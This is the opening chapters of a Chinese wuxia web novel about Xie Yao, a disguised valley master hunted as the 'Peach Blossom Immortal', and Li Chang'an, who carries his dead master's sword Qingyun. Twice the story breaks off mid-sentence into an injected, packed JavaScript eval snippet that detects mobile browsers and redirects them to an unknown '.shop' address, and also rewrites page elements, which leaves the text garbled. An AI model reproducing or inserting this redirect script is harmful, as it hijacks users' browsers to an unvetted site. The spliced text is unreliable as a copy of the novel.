《桃花不曾见白衣》 1. 林中遇(一) 数十年前,要论天下剑术,就数归云山庄。 归云山庄藏于青峰山,山庄青竹环绕,素雅非常。庄中剑心冢藏有十八名剑,被称为天下第一冢。天下剑客皆以拜入归云山庄为荣,若是能拜入二庄主门下…… 归云山庄中论剑术,当属二庄主谢白衣。 谢白衣十四岁进归云山庄,一是老庄主看中了他根骨奇佳,天资聪颖,二是谢白衣破了归云山庄的剑阵,旁若无人地进了山庄,日日在房顶上看弟子练剑,不仅偷偷看,还要大言不惭指点两句,搅得师兄师弟们不得安宁,老庄主迫不得已,收进自己门下。 入庄一年,十五岁战胜自己师兄“千仞剑”宋明赫,十七岁成为天下第一剑客,问鼎江湖,自创“飞花三十六剑”名扬天下,无数剑客前来问剑,只求一剑飞花。 谢白衣此人人如此名,常穿一身白衣,腰间佩剑,剑名青云。剑鞘墨翠如玉,拔剑出鞘,剑身极薄,刃如寒霜,剑柄刻着墨竹暗纹,再往下,就是一串墨绿色的穗子。 百晓堂所著名剑谱书列十大名剑,龙吟、吴钩、长虹……青云剑却不在其中。 在谢白衣遇见青云剑之前,青云剑是把不入流的废剑,直到谢白衣拎着青云剑一路问鼎剑仙,人们这时又顾不得对青云剑百年冷落,想把青云剑列入名剑谱。也有老朽铸剑师道,剑是剑,人是人,怎么因为人改变剑的评级? 后来青云剑到底没入名剑谱,而是剑谱上单开一页,是为剑仙之剑。 谢白衣还流传着两个传说,至今被人津津乐道。一是拒绝了跟他连打十三场,场场皆败的“松云剑”刘寒松的拜师。松云剑剑客排行榜十三,年近四十,已经是能当别人师祖的实力,竟愿意委屈自己拜在一个二十岁年轻人的门下。 还被这个年轻人给拒了! 谢白衣拒了松云剑,没过多久,从外面带回来一个病的快要死了的小孩子,看过他的神医都摇头说只怕活下来了,也不能习武,内息乱得像一团揉在一起的毛线。 谢白衣收了这个不能练武的“残废”,给他取名李长安。 二是千金台十里落红,只为博美人一笑。 八月月夕,千金台。 千金台台高百尺,百米红绸高挂楼尖,仿佛自天上人间坠落。各式的琉璃花灯悬挂其间,远远望去一片灯火通明,千金台一万八千片浅绿和金黄的琉璃瓦反射灯火,处处金碧辉煌,灿烂夺目。 乐女奏乐,舞女翩翩,台下坐着的众多江湖豪侠搂着美女狂饮,台上,身着浅绿色衣裳的侍女挎着花篮依靠着栏杆,往下抛洒花瓣,就连花瓣都用香水泡过。 江湖百家家主站在千金台上,此次齐聚千金台,为了一个赌局、也为了一个女人。 千金台的头牌是这全天下最美的女子,只消一眼便能勾得人神魂颠倒。赌局正是谁能让这位美人一笑。 只见千金台众人花招齐出,有人吟诗、有人抚琴,更有那舞刀弄枪的,现场乱作一团。 谢白衣一身素白,只有头上发带是红的,于千金台上拔出青云剑,精纯内力催动周围十里桃花林,漫天花雨中,他一抹白衣舞出“飞花三十六剑”最后一式——天上人间。 当晚万人空巷,美人一笑。 谢白衣却早已带着他那个便宜徒弟下了千金台。 没人知道那天谢白衣为何出现在千金台。谢白衣生得俊美清朗,又是白衣翩翩惊才绝艳的少年剑仙,姑娘看一眼他便能看红了脸。按理说,这种人应当是不缺女人的,可从没他过他与江湖上哪位女侠或是千金有染。那天上千金台,想必也不是为了那个无聊的赌注。 估计全天下,也只有谢白衣和他徒弟李长安知道究竟为何了。 但好景不长,归云山庄和谢白衣的传说没能维持多久。 恶人谷魔教兴起,为非作歹,归云山庄作为天下第一大派,开了除魔大会,带头前往桃花谷。 结果桃花谷遇伏,一战极其惨烈,各家弟子死伤无数,谢白衣也于桃花谷一战身陨。战毕,归云山庄被天下各派怀疑通敌,声名一落千丈。 又过了七年。 恶人谷改名桃花谷,因为当年一战后,那里长了近十里的桃花树,桃花盛开之时艳红似血,就像是那一战的灌进了桃花谷的桃花树里似的。 谢白衣也渐渐不被人提起,天下第一换了新的人物。归云山庄偏安一隅,庄主宋明赫许久未曾出世。 桃花谷死灰复燃,这次出了个更厉害的魔教教主,江湖中人无人知道他姓甚名谁,长什么样子,是貌美书生还是顽童老叟,只知他自号“桃花仙”。 桃花仙杀人,死者耳鼻口必灌满桃花,无论冬夏。 半年前,桃花谷附近的李富商全家被杀,死者皆因一瓣桃花瓣穿眉心而死,院内满地零落桃花瓣,至于周围的桃树,早已枯了个干干净净。 三月前,霍家庄全庄被屠,二十三户几乎死绝,正值夏季,尸臭冲天。在尸堆旁边,桃花枝在地上摆成了一个大大的“仙”字。 数日前,又在荒郊野外发现了一具尸体,这次死的不是别人,正是“松云剑”刘寒松。死相极其可怖,大张着口,手里的剑甚至还没出鞘,就已经死了。瞳孔被人挖去,转以桃花代替,塞满眼窝。 至此,江湖正道终于坐不住了。每个城池严密设卡,光是设卡就耗费万两白银,严防桃花仙入城。开了除魔大会,对桃花仙下了江湖追杀令。 江湖追杀令分五等,最高规格的一等名为夜枭,身上背着夜枭的人,会成为无数亡命之徒的目标。 据百晓堂记载,至今为止,被下夜枭的人不过五个,最长的一个,活了三个月零七天。 桃花仙身上背的,正是夜枭。 — 只是身上背着“夜枭”追杀令的人,此刻已然悄无声息地混进了严密把守的霍家庄,哼着小曲在已经成为一片死域的庄子里踱步,时不时蹲下身,捻起一点还带着血迹的泥土。 “谷主,我们来这干什么?”褚裕左右看了两眼,旁边尽是密林,他搓了搓身上的鸡皮疙瘩,“大半夜的……怪瘆人的……” “不是说了吗,出门要叫公子。”谢夭轻笑一声,把手指上的泥土拍掉,“你是桃花谷的么?你害怕?” 桃花谷师承当年恶人谷,如今又出了桃花仙这么个人物,自诩江湖一大邪谷,谷中人自当凶神恶煞,神挡杀神,佛挡杀佛,无恶不作。不要说什么深山老林,塞满花瓣的尸体,就算是尸山血海横在眼前,那也应该面不改色。 但这都是江湖人对桃花谷的想象。 桃花谷人如今在新谷主谢夭的带领下,别说随意杀人,就连杀只鸡都要犹豫一下要不要向谷主禀报。除了恶人谷那一代人,新入谷的哪里见过什么尸体?不仅如此,他们也没见过江湖上大名鼎鼎的桃花仙搅弄风云,甚至说,他们很少见到谷主的人! 谢夭经常偷偷溜出谷,一回谷就是去看他种的桃树,然后再去谷中问鹤先生那喝杯茶,如此歇两天脚,就又出谷逍遥去了。 褚裕又看了眼尸体,愤愤不平道,“人又不是我们杀的,管他做什么!再者说,桃花谷人怎么了?桃花谷的人只会种桃树!” 褚裕年方十五,打扮的像个书童。 褚裕是个从尸体堆里爬回来的孩子,那么父母带着他北上,路上遇到山匪,所有人都死了,他被父母压在身下,勉强捡回来一条命,撑着一口气到了桃花谷,第一句话是:“我要杀光他们!” 他本以为一代魔教,当有些杀人的本事,然而被谢夭安排去打理他那十亩桃树。 好不容易不打理桃林了,他又被安排扮演谢夭的伴读书童,作用就是出门在外时替谢夭打圆场。 褚裕想着,偏头看了看谢夭。谢夭穿了一身粉,头发只挽了一半,另一半随意散着,垂下眸子一颦一笑,倒真有浪荡世事的公子哥那味道。 江湖上有个有名的放荡公子,被称为“惜花圣手”,只可惜谢夭出门在外从来装作柔弱书生,不然这“惜花圣手”的名号,早晚落到他头上。 但褚裕也知道,谢夭从来不是什么柔弱书生,也不是什么浪荡公子,他那粉色衣袍下,藏着一株桃花枝——那是江湖上最快的剑。 褚裕曾经问过,谢夭的剑和之前天下第一谢白衣的剑谁更快。 谢夭笑了笑,说:“不知道,没打过。” 褚裕宁死也要证明自己家谷主比那谢白衣厉害,又趁着某次和谢夭回谷,不死心地跑去了问鹤先生住的杏馆,堵着问鹤先生问道:“谷主的剑和那谢白衣的剑,谁是天下最快的剑?” 杏馆深居桃林之中,那时桃花正艳,风一吹便是满地落红。谢夭喝完了茶,也针完了灸,信步于桃林之中,衣袂飘飘,超尘脱俗,宛如仙人。 问鹤先生收回看向谢夭的视线,道:“这世上没有最快的剑的。在他身上尤其。” 褚裕还在兀自疑惑,只见问鹤先生已经笑吟吟走远了。 “留神。”谢夭忽然出声,拎着褚裕的衣襟把他拎到一旁,“别破坏现场。” “合着您是来查案来了。”褚裕揶揄道。 谢夭拍了下褚裕的脑袋,转头去看地上的痕迹。泥土微微凹陷,隐约能看出来一个人形,似乎停放过尸体。在那痕迹周围是一堵土墙,墙上有几道锐器划出来的划痕,像是野兽的指甲…… “霍家庄地处偏远,附近又是深山,屠庄之日血流成河,难免吸引山野精怪,出现野兽也不足为奇吧?”褚裕歪着头问。 谢夭摇摇头,没说话。低头,看见那个由树枝摆成的“仙”字还在地上,嗤了一声,一脚把树枝踹散了。 “不是不能破坏现场……么?”褚裕不满地问。 还没来得及说完,谢夭忽然捂住他的嘴,轻轻“嘘”了一声,带着他,脚步一动闪至旁边草丛,这时远处一声厉问才劈头盖脸砸了下来:“什么人?!” 褚裕回头看去,来人是两仪观几个道士,身着道袍,看上去干净素雅,颇有名门正派之风。褚裕看看道士,又看看自己身边的谢夭,心里一阵感慨,自己到底还是入了魔教,毕竟只有魔教教主谢夭才穿得这么妖孽。 两仪观是道家门派,最是崇尚道法自然,生老病死,皆是天定,因此不常过问江湖世事,观中规矩森严,观中之人非有要事难以下那三清峰。 两仪观之人出现在此,只因霍家庄靠近两仪宫所在的三清峰。霍家庄之事,两仪观本也不想管,奈何事情闹得太大,又涉及到桃花仙,两仪观不得不给天下做出个样子看。但也只是做个样子,看守并不严密,只派了几个小道守在霍家庄周围,大部队都驻扎在山脚。 难道是他们刚才说话声音太大,惊动了霍家庄外的道士? 但褚裕这时已经没空思考这么多了,那两个小道士手里的剑都出了鞘,被他们警惕地握在手里。 褚裕回头,心下猛然一空,谢夭早已不见了人影!他心里又害怕又欣喜,连忙弓身钻进草丛,慢慢露出一只眼睛,从草叶缝隙间往外看。 一道士道:“你刚才当真听见了人声?这方圆十里八村谁不知道霍家庄惨案,这个时候谁还敢来?” 另一人道:“正是如此。这时敢来霍家庄的必定跟那桃花谷脱不了干系。听闻桃花仙此人恶毒非常,把人弄死不说,还经常返回现场取乐!” 江湖上关于桃花仙的风言风语极多,也不知道都是怎么传出去的。 此话一出,反倒把另一个小道士吓惨了,连忙道:“那我们快走吧,如若真是桃花仙,我们必死无疑。再者说,如果不是桃花仙呢?万一只是一只野猫,又管他如何?无论如何,都是快走快走……” 正说着,只听得草丛中间一声“喵”。 褚裕一听便知道那声猫叫是他们大谷主捏着嗓子装的,此时也不知道堂堂桃花仙猫在哪个草丛里学猫叫,一想到此他就忍不住有点想笑,又生生憋住了。 那胆小的道士反倒如蒙大赦:“我就说是野猫,咱们还是快快走吧。桃花谷之事与两仪观何干,还是叫归云山庄的人来处理的好,听闻那位小剑仙外出游历就要到两仪观了,登时把他请到山上……” 那个道士却慢慢停住脚步,手里的剑握的愈发紧了,低头,难以置信地看着地面上新鲜落下的足迹和桃花瓣,腿软似的往后退了半步,怔怔然道:“桃花……新鲜的桃花……”回过神来,似是张嘴就要大叫。 然后他就听到,夜空中一声惋惜似的轻叹,轻得如同鬼魅。 就在这时,脖子被人从身后掐住,两人脖子顿时梗得如同冷铁,头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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褚裕心想,若是打吧,谢夭必定要动用内力,接下来就会如问鹤先生所说,嘴歪眼斜走火入魔爆体而亡生不如死,让他自己打,他又打不过。 但是不打吧,他们行踪又实在鬼祟,怕是轻易混不过去。 却见谢夭大摇大摆走了出去,淡淡道:“记住了,叫公子。” 谢夭端的一个公子哥的做派,褚裕连忙装作书童小厮,亦步亦趋地跟在他身后,就要与两仪观众人擦肩而过。 此时还听得两仪观的人闲聊,一人道:“听闻全天下的人都往望城去了,归云山庄带人在那彻查松云剑的死因,连佛门也出动了。” “观主不问世事,再说,何必沾上那么多的麻烦事?” “倒是不得不沾了,霍家庄偏偏在咱们观附近,听闻那位如今也在咱们地界,怕也是为了桃花仙而来。” “那位?哪位?” 一行人都是一脸的不可说神情,都讳莫如深地摇了摇头。 褚裕听得好奇,悄声问道:“他们口中的这位是哪位?难不成是大罗神仙么?怎得一个个都这么讳莫如深?” 谢夭如实地摇了摇头:“不知道。” 就在两帮人要擦肩而过时,为首那人忽然觉得不对,刚才路过那粉衫公子鞋尖上似乎黏着新鲜的花瓣,立刻喝道:“站住!” 众人举着火把靠近,将二人团团围住,火光照映下他们才看清楚这人面容。肤白若雪,看上去竟有些许病态,面容清秀俊雅,那人睫毛忽而颤动一下,谢夭弯起眼睛笑了,领头的道士心头一惊,也有些招架不住。 谢夭道:“这位道爷,拦路所为何事?” 道士怔愣着看了会儿才回神,心道这人一脸书生模样,那张脸似乎也隐隐在哪见过,如此俊秀的脸,若是见过必然不会忘,怎么如今就想不出呢? 道士又看了他一眼:“刚从山上下来?” 谢夭点点头。 道士问:“山上风景如何?” 谢夭连忙摇头道:“道爷说笑了,如此半夜三更,哪看得清山上风景?” 道士又问:“知道半夜三更,为何此时上山?” 谢夭道:“急着回家奔丧,不得不半夜赶路。” 如此夜半三更深山老林,谢夭面无表情说一句奔丧,听得人汗毛都竖起来了。一群人哑口无言半晌,张了张嘴,想说节哀也不是,想继续盘问也不是。 最后,为首那道士道:“那你可曾看到霍家庄满庄尸体?” “霍家庄死人了?”谢夭一脸惊恐地看他,又缩了缩脖子道,“我说怎么山上一点亮光都没有,若是早知庄子上死了人,必定不从这里走了!” 道士径直打断他的话:“姓甚名谁家住何处?!你可知桃花仙?” “桃花仙?”谢夭疑惑地问。 “说!”道士手中的剑出鞘,往前逼近。 谢夭踉跄着退了一步,乖顺地举起手,沉吟了一会儿:“……家住江南,在下姓谢。” 曾经有一段时间,谢姓在江湖上备受尊崇,一切都是因得那谢白衣的缘故。 听到他说姓谢,道士顿觉醍醐灌顶,怪不得这人面相如此相熟,原来他跟那谢白衣长得有几分相似。但此时看起来,又觉得不像了。 更何况谢白衣早已在桃花谷一战死了!谢白衣也不会穿这一身粉红长衫。 道士道:“姓谢又如何?”说着,他就要出剑,眼前这公子眼里盛满惊恐,但不知道为何,也兴许是他的错觉,他总觉得有那么一个瞬间,面前这位粉衫公子的眼神冷得吓人。 谢夭还想说什么,但已经没人听他说话了,他在心底叹口气,松松地握上藏在袖子里的桃花枝。只要那道士出剑,下一秒桃花枝便会架上那人脖子。 就在此时,冷白剑光忽至。 一柄飞剑从两人中间穿过,剑气打掉了那道士手里的剑,又铮然一声,钉在谢夭身后的树干上,因为力度太大,剑身还在微晃。 那剑闪着寒光,剑身极薄,剑柄刻着墨竹花纹。墨绿色的穗子随夜间清冷的山风摆动。 众人心下一惊。 竟是那剑仙之剑——青云! 2. 林中遇(二) 众人回眸,只见来人一身玄衣,鬓发高束,长身玉立。不知何时来了这半山腰,也不知在此看了多久,此人年纪虽少,轻功却如此之好,在场这么多高手,竟然无一人发现。 为首的那个道士看着插着树上的青云剑冷汗直冒,这青云剑是在那人说出自己姓谢时跳出来的,难道此人当真是谢白衣?可那谢白衣早已死了啊! 还是说那位小剑仙想念师父心切,只要是姓谢的都会有所优待? 不论如何,人已经到了跟前了,一群人只能硬着头皮拱手作揖,一时间“久仰久仰”之声不绝。 没人顾及谢夭,此时不跑更待何时?褚裕连忙要走,回头却见谢夭安静地看着那柄剑。 谢夭右手手指动了动,似乎想把剑拔下来,又终是一笑。 褚裕从未见过谢夭这般神色,像是见了旧物与故人,眼神里不知是怀念还是黯然,他凑过去,正想问问这把剑怎么了。那少年已经走过来了,褚裕连忙闭嘴,安安静静站在谢夭身后。 道士道:“早就听闻归云山庄少庄主大名,今日一见,果然名不虚传。这剑,便是尊师谢白衣手里那柄青云吧?” “嗯,”李长安垂眸看了眼剑柄,“这是谢白衣的剑,我暂为保管。” 江湖上有风言风语说李长安与他那师父谢白衣关系并不好,谁也说不清是真是假,但有一点是真的,李长安很少喊师父,如同此刻,他直呼谢白衣大名。 但又有一点很奇怪。 关系不好,李长安却日日带着谢白衣的青云,谢白衣死后他年纪还轻,又是剑仙亲传,明明可以再拜个好师父,但不久他就独自一人出归云山庄江湖游历,也不知是为何。 道士问:“暂为?” 李长安道:“他还未将此剑传给我。” 一行人想说什么又不知如何说,似乎说什么节哀顺变也不合时宜。天下谁人不知谢白衣已经死了,只有谢白衣他徒弟,固执己见地“暂为保管”,像是谢白衣还能起死回生似的。 李长安淡淡道:“路过此处,恰巧听闻谢白衣大名,过来看看怎么了。” 那道士听起他主动谈起谢白衣,想起自己刚才说的话,一时间头皮发麻,道:“霍家庄就在半山腰,这两人鬼鬼祟祟从山上下来,我们怀疑他们与桃花谷有关,正在盘问。” 褚裕气愤道:“哪是什么盘问,明明都要动刀剑啦!” 整个山路上安静地像是死了,一群人大气都不敢喘。这群人似乎很尊敬李长安。 谢夭拱手作揖道:“在下来自江南谢家,正要回家奔丧,不料染上风寒,已在这三清峰住了三日有余,因为耽误了行程,不得已半夜赶路。不信叫来山下小二,一查便知。” 李长安这才正眼看了谢夭一眼,只见道士手中火把焰火碎裂在谢夭眼眸之中。谢夭眼里含笑朝他投来视线时,他又冷脸转回目光,始终不发一言。 过了一会儿山下店小二急急忙忙举着火把上了山,跟两仪观的道士废了好一阵口舌,又是“江南谢家二公子”又是“出手大方阔绰”,甚至连在客栈被一群混混打劫的事都讲出来了。 “公子整整被打劫了这个数,够买下一间客栈了……”小二绘声绘色道。 一群人以异样眼光看过来,谢夭嘴唇抿着,眸光看向虚空,打算装自己耳聋眼瞎,听到那小二说“刀架在脖子上”的时候,还是没忍住,咳了一声。 两仪观人终于相信谢夭不过一个不学无术的窝囊废公子了。 道士尴尬笑笑:“不是桃花谷人就好,今日是两仪观办事不妥,公子还是早些下山吧,山路不安全。” 李长安又垂下眸子瞥了这个一身粉衫的公子一眼,走过去,拔下自己的剑,转身收剑入鞘,铮然一声,跟两仪观人打了个招呼便走了。 年纪不大,派头倒是不小。 褚裕见人走了,才敢找个面善的小道士盘问:“这人怎么了?名气很大?” 那面善的小道士摇摇头,什么都不肯说。 褚裕又换了个人问,谁知问谁都是吞吞吐吐,语焉不详,像是有什么难言之隐。一个人有难言之隐正常,一群人有难言之隐,那就不正常了。 终于,有一道士慢悠悠搭话了:“这位小友,你可知道四剑仙?” 褚裕点点头:“自然知道。‘青云独步’谢白衣,‘气吞河山’石正青,‘剑道万古’傅宜春,‘浪水剑’宋奇水。” 那道士摇摇头,笑道:“那都是过去了,这其中两位剑仙,石正青,宋奇水已不再四剑仙之列了,如今出来的是这位。你可听说过少年剑横扫十四州?” 李长安的名气,是他出归云山庄后打出来的。他独自一人拎着谢白衣的青云,从归云山庄出发,一路向北,先是到了徐州,接着往西再到益州。他每到一处都要拜访当地门派,如此连胜三十三场,败在他手下的不乏德高望重掌门家主,又战胜了永安石家“气吞河山”石正青,江州宋家“浪水剑”宋奇水,两大剑仙败于他手,渐渐有人将李长安排在剑仙之列,但因为年纪太轻,又会在前面加上一个“小”字。 因为战败的是一群有头有脸的人物,甚至其中就有自家掌门,江湖人对此事都是讳莫如深,能不提起就不提起,就当事情没发生过。 败给李长安的掌门家主觉得脸上挂不住面子,便把这件事记在了归云山庄头上,后来果真有几家不怕死的合谋,重新翻起恶人谷旧事,大肆宣传归云山庄通敌恶人谷,要为当年枉死的兄弟讨回一个公道。趁着归云山庄庄主宋明赫前往千金台议事,各家各派凑齐五百精锐奇袭归云山庄,庄中师伯师姐都不在,只有一个李长安。 李长安一人一剑守在青竹林,没人知道一个年方十九的少年人是怎么守住的,但他就是守住了。 青竹林如同血洗,明明正值孟夏,但竹叶上都挂着血霜。 两个故事合起来,被说书人编成了民间话本,是为少年剑横扫十四州,青竹林血洗守归云。他和他师父用剑风格完全不同,他师父因为一柄青云被人称为“青云独步”,他因为孟夏时节竹叶上的血霜,被称为“一剑霜寒”。 褚裕听着,心里却有点不信,正想问“李长安和他师父谢白衣谁厉害”的时候,一转头,却发现谢夭已经走了,跟在那少年身后,笑眯眯喊道:“少侠,你要去哪?带我一程呗?” 李长安没回头,径直往前走。 褚裕悄悄拉了拉谢夭的衣袖,悄声道:“那是归云山庄的人,归云山庄对桃花谷恨之入骨,要是谷主不想暴露身份杀人灭口,还是赶紧走吧!” 谢夭摇摇头道:“现在全世界都在追杀我,跟在名门正派身边反而安全。还是说,你想回桃花谷种桃树?” 褚裕闭嘴了。 就算在外游历有危险,也比回去种桃树的好。种桃树又不能把杀死自己父母的强盗种死。 褚裕知道说了也是白说,按照谢夭的性格肯定不会轻易回桃花谷的,回去了也要想方设法逃出来。 谢夭又扬声问道:“少侠,你叫什么名字?” 李长安仍是不答。 这时他忽然感觉到手中青云剑身微震,李长安沉沉地看了一眼。 青云剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711071|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算没有入十大名剑,那也是在剑谱上单开一页的剑仙之剑。名剑认主,对周遭环境也会有所感应。如果剑身震动,要么就是遇见了主人,要么就是遇到了什么魔修。 虽说青云剑并没有完全认李长安为主,但是谢白衣已经死了,那就只有第二种可能,自己身后那个人,可能是魔道! 李长安微微侧头,道:“不顺路,你不是说回家奔丧吗?” “其实不是奔丧,只是出门在外的托词,其实是从家里偷跑出来闯荡江湖的。”谢夭汗颜道:“你去哪,万一顺路呢?” 李长安道:“颍州。” 他此行目的地正是颍州望城,正如两仪观人所说,他师伯宋明赫在望城严查刘寒松之死,布下了天罗地网,听闻佛家人还出动了法器通息铃,能探出魔教之人内息,不过两日,已查出了十名魔道,但可惜都不是桃花谷的人。 李长安面上云淡风轻,实则用力压住还在不断震颤的青云,他几乎能听见青云震动时微弱的金属蜂鸣声。如果身后那人再靠近,恐怕这柄名剑就要自己出鞘了。 谢夭道:“顺路的,我刚好也要去颍州。” 李长安听完轻笑一声,道:“你叫什么名字?” 谢夭踌躇了一下:“我姓谢……单名一个夭字。” 李长安道:“哪个夭?” 谢夭道:“桃之夭夭的夭。” 三更半夜,深山老林,一身粉衫,名为夭,出现在霍家庄,奇怪的奔丧说辞,还有震颤不停的青云剑…… 桃花谷的人? 青云剑再也压制不住,李长安登时拔剑出鞘,几乎是一个闪身,两人距离顷刻被拉近。谢夭只觉得眼前寒芒一闪,青云的剑尖已经直抵他的喉咙,速度飞快朝他刺过来,他身后长发都被随之而来的剑风刮起。 褚裕嗓子都吓哑了,想喊又喊不出声。 谢夭能感觉到自己袖子里藏着的桃花枝蠢蠢欲动,几乎要自己钻出袖子挡下这一剑,谢夭掌心向下一压,用内力强行把桃花枝压下去,自己竟是动也不动,任凭青云朝他刺过来。 李长安见他躲也不躲,心下一惊,连忙偏了一下剑,但还是划破了谢夭脖子上一层油皮,血线顺着伤口滴下来,更显得谢夭皮肤白得触目惊心了。 李长安收剑,讶异道:“你……你不会武功?” 谢夭没去管自己脖子上的伤口,只笑笑:“要是会武功就不会在客栈被混混欺负了。” 李长安又似有似无看了谢夭脖子一眼,抿了抿嘴唇,犹豫半天掏出一张帕子,面容冷硬地递给谢夭,道:“抱歉,擦一下。” 谢夭接过来把血擦了,又用手指抹了下伤口,看见指头上沾的血,这才“嘶”了一声,道:“痛死了。” 褚裕斜眼看他,想看他到底要装到什么时候。 谢夭这个人的痛觉感知很奇怪,平常在桃花谷一根木刺进了手指他要大呼小叫地喊人,从桃夭殿一路走到杏馆找江问鹤给他拔木刺,但气息逆流,头痛地要死,耳朵眼睛都不灵光的时候,问鹤先生在他头上下几十针,他还能苍白着脸色跟褚裕开玩笑,让他去摘桃花酿酒。 李长安又转身走了,只是脚步慢了一点,道:“我不喜欢桃花。” 谢夭跟在他身后,道:“你喜欢什么花,梨花杏花梅花?什么都行,我可以改。” 李长安想了想,道:“算了,就谢夭吧。” 谢夭道:“那你能带我一程了吗?一个人赶路有点害怕。” 李长安停下脚步,斜睨他一眼,又叹口气,道:“不会武功闯荡什么江湖。” 3. 林中遇(三) 月至中天,人声逐渐安静,时不时有两声鸟鸣飘在密林上空,回声绕耳。澄澈溪水中也有一个圆月,圆月旁映着火光。 三人坐在溪边,围着中间的火堆,火堆上烤着鱼,李长安刚从溪水里用剑叉上来的。青云用来叉鱼,传出去能让一堆老顽固气死,必定要说什么不敬名剑。 但剑也有剑的性子,不是每柄剑都喜欢都喜欢摆在高台供案上被供起来的。李长安记得,谢白衣拿着青云的时候,什么都干,下河叉鱼,劈柴生火,甚至直接插在土里,用来供养一颗桃花树。 李长安提着青云下去叉鱼的时候,褚裕发现谢夭一直静静看着李长安的背影,不知道是在盯着什么看,他忽然想到谢夭看着青云剑的眼神,道:“谷主看上那柄剑了?要不我们抢回来?” 谢夭摇摇头:“没看上。” “这可是谢白衣的剑,比你那破桃花枝好多了!”褚裕愤愤道。 “太重。”谢夭摆摆手,往前走去,“拿不起。” 那剑开刃极薄,削铁如泥,剑柄也算得上秀气,比起其他名剑客的剑已经算是轻的了,怎么就重了?当然,若是比起谢夭从地上捡的烂枝条,自然算重了。 李长安手里的烤鱼卖相虽然不怎么好看,但闻起来很香,在火上滋滋冒出油花。 谢夭坐在李长安身侧,隔着明明灭灭的火光看他。火光之下,更显得李长安眉眼深邃地惊心动魄,明明不过十九岁,眼神却很沉。 谢夭道:“少侠,你还没告诉我,你叫什么名字。” 李长安只是安静地给烤鱼翻了个面。 谢夭又笑眯眯道:“噢我知道了,难不成你是个姑娘,问姑娘的闺名,三书六礼地下聘书可好?” 李长安虽然年纪轻轻已经被人称为剑仙了,但到底还是个少年人,大概没这么被人逗过,哽了一下才想到怎么反击,道:“我要是个姑娘,还轮不到你来下聘礼。我姓李,叫李长安。” 谢夭眯了下眼睛,道:“好名字。” 李长安没说话。 谢夭道:“听他们说你来自归云山庄,归云山庄漂亮吗?我听说归云山庄庄主很久没出世了,他还好吗?” 李长安抬眸看他一眼,只简简单单回了两句话:“漂亮,好。” 谢夭道:“有多漂亮?有多好?” 见谢夭还盯着他,李长安不得已补充说:“归云山庄有很多竹林,有水,竹桥建在水面上,很漂亮。庄主自恶人谷一战之后时常闭关,不常出来走动,但他很好。” 谢夭听完,微微松了一口气,想了想又道:“那你小师姑呢?” 李长安眯了下眼睛,轻笑道:“你连我名字都不知道,怎么知道我有个小师姑?” 谢夭怔愣一下,继而低下头笑笑,是他太心急了点,一不小心漏出了点破绽。 他立刻找补道:“你手里的剑是青云,那你师父就是谢白衣,谢白衣一个师兄一个师姐,分别是宋明赫和怀竹月,那你自然就有小师姑了。” 李长安道:“所以你早就知道我名字?” 谢夭汗颜道:“总要确认一下。” “小师姑也很好,只是不常在庄内。”李长安哼了一声,斜睨着看他,“倒是你,你好像对归云山庄很熟啊。” 这人绝对不是一个平常的富家公子,没有武功也可能只是伪装。 谢夭连忙笑道:“在下不才,家父与江南百晓堂有些交情,我自幼在百晓堂中长大,归云山庄数十年前风头正盛,知道的就多了点。我还知道你师父,还知道你。” 李长安面无表情地把烤鱼分给二人,道:“你都知道点什么?说说看。” 这时,只听得谢夭道:“你师父创‘飞花三十六剑’,听闻最后一剑‘天上人间’能引落满天花雨。听说谢白衣这个人又懒,死得又早,没留下什么剑谱,教徒弟全靠口传,现在全天下会这最后一式的估计就剩你了,你会了没?” “飞花三十六剑”谢白衣已教了李长安大半,桃花谷一战之前,谢白衣教了他倒数第二式,十年过去,前面剑招早已炉火纯青,唯有这倒数第一式,他始终未曾参悟。 李长安没说会,也没说不会,这时,只听得密林深处传来了两声鸟叫,叫声格外奇怪,鸟叫声平直,像是什么死物才能发出来的声音。 褚裕听见鸟叫,也不忙着吃烤鱼了,两只眼睛瞪大看向密林上空,嘴角露出一个不易察觉的笑。他知道,这鸟是芳落姑姑的鸟,他们桃花谷的人来了,鸟叫便是暗号。 李长安也若有所思地抬头看向上空,乌云此时遮住月亮,哪里有什么鸟的踪迹。 他低头,谢夭在慢慢地吃鱼,仿佛对鸟叫没有半分察觉,李长安道:“这鸟叫,之前好像没听过。” 谢夭疑惑道:“什么鸟叫?” 话音未落,又是两声嘶哑至极的鸟鸣。 李长安微笑着看向他,表情却忽然一滞。听到鸟叫的那刻,谢夭表情也变了一下,竟然下意识抓住了李长安的胳膊。 李长安晃了一下,两人距离本就近,这一拽更近了,更何况自己胳膊还抓在对方手里,李长安深吸一口气后撤了点,气道:“你……呃,松手!” 谢夭这才反应过来,松手,尴尬笑笑道:“百晓堂中有记载,密林之中听到此种怪异的鸟叫,不祥。我就一普通人,猛得听到有点害怕。” 火堆灭了,三个人一人靠着一棵树睡觉,等人差不多睡熟了,谢夭站起来,把褚裕踢醒,一大一小往林子里走去。 夜半时分,密林深处。 月光照耀下,苍白如璞玉的手指懒散地摸过乌黑的鸟头,又挑了挑那鸟的下巴。谢夭散漫地逗着鸟,在他面前,一站一跪地杵着两个人。站着的是芳落,跪着的是个不起眼的男人,身体还在发着抖。 褚裕闭嘴,安安静静地站在谢夭身后。他也不是什么时候都敢跟谢夭没大没小地开玩笑,尤其是这种时候,谢夭气场强大得可怕,好像只要他看谁一眼,那人就已经死了。 又是很长一段时间的安静,谢夭耐心告罄,淡淡开口:“什么事,说。” “四大长老担心谷主安危,特地命小的前来、前来查看,长老说,桃花谷不可一日无主……”跪在地上的男人几乎说一句抖一下。 